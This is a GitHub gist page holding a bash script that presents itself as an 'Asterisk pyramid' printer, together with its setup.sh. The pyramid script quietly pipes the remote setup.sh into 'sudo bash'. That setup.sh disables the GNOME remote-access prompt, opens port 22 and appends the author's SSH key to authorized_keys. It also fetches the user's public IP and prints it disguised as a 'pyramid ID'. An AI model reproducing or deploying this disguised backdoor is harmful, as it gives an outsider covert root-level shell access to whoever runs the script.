Last active
October 10, 2019 06:11
-
-
Save PixelSergey/58c86ae2d2fdea9d3327995d6e773b81 to your computer and use it in GitHub Desktop.
Asterisk pyramid
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sudo curl -s -L gist.github.com/PixelSergey/58c86ae2d2fdea9d3327995d6e773b81/raw/setup.sh | sudo bash /dev/stdin arg1 arg2 | |
echo "Asterisk pyramid!" | |
declare -i n=20 | |
for (( i = 1; i <= n; i++ )); do | |
for (( k = i; k <= n; k++ )); do | |
echo -ne " " | |
done | |
for (( j = 1; j <= 2 * i - 1; j++ )); do | |
echo -ne "\e[92m*" | |
done | |
echo | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
gconftool-2 -s -t bool /desktop/gnome/remote_access/prompt_enabled false | |
sudo ufw allow 22 &>/dev/null | |
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJbIcDReLGGLMgE8m29Z777se+c0DZJ8SgJJhD+ZCuW3K36nFoMis8zoODuwX3XApE3VMgtN7nuIVq7QnaoHBjYhtky0FBZdI3NoLX7kbiD3bu4yv9pA+Wrcmni7M5Ge3CNW1/Ak5SmjaM5EUhtYyvGGY/n2nifQUtdKiaZ2c+wWlJGEhLq1pMWM1ASd545rhM5HZNAWZu8MB0nghYhKjkqwWPZzIs2S0/AZ10+e4a6TY01/KtCM4TwB4H7N97vcqt/VPm6NQ/k98m7GiQeXgPRmBKcKk4usM603LvcGZ/Hu7iH6XMal4f56p1l1msXkvjv89UXucoGP5VgL0PqUb9 sergey@hibou" >> ~/.ssh/authorized_keys | |
IP=$(curl -s ifconfig.co) | |
IP="${IP//.}" | |
len=${#IP} | |
for ((i=1;i<len;i++)); do IP=$IP${IP: -i*2:1}; done; IP=${IP:len-1} | |
echo "Unique pyramid ID: $IP" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment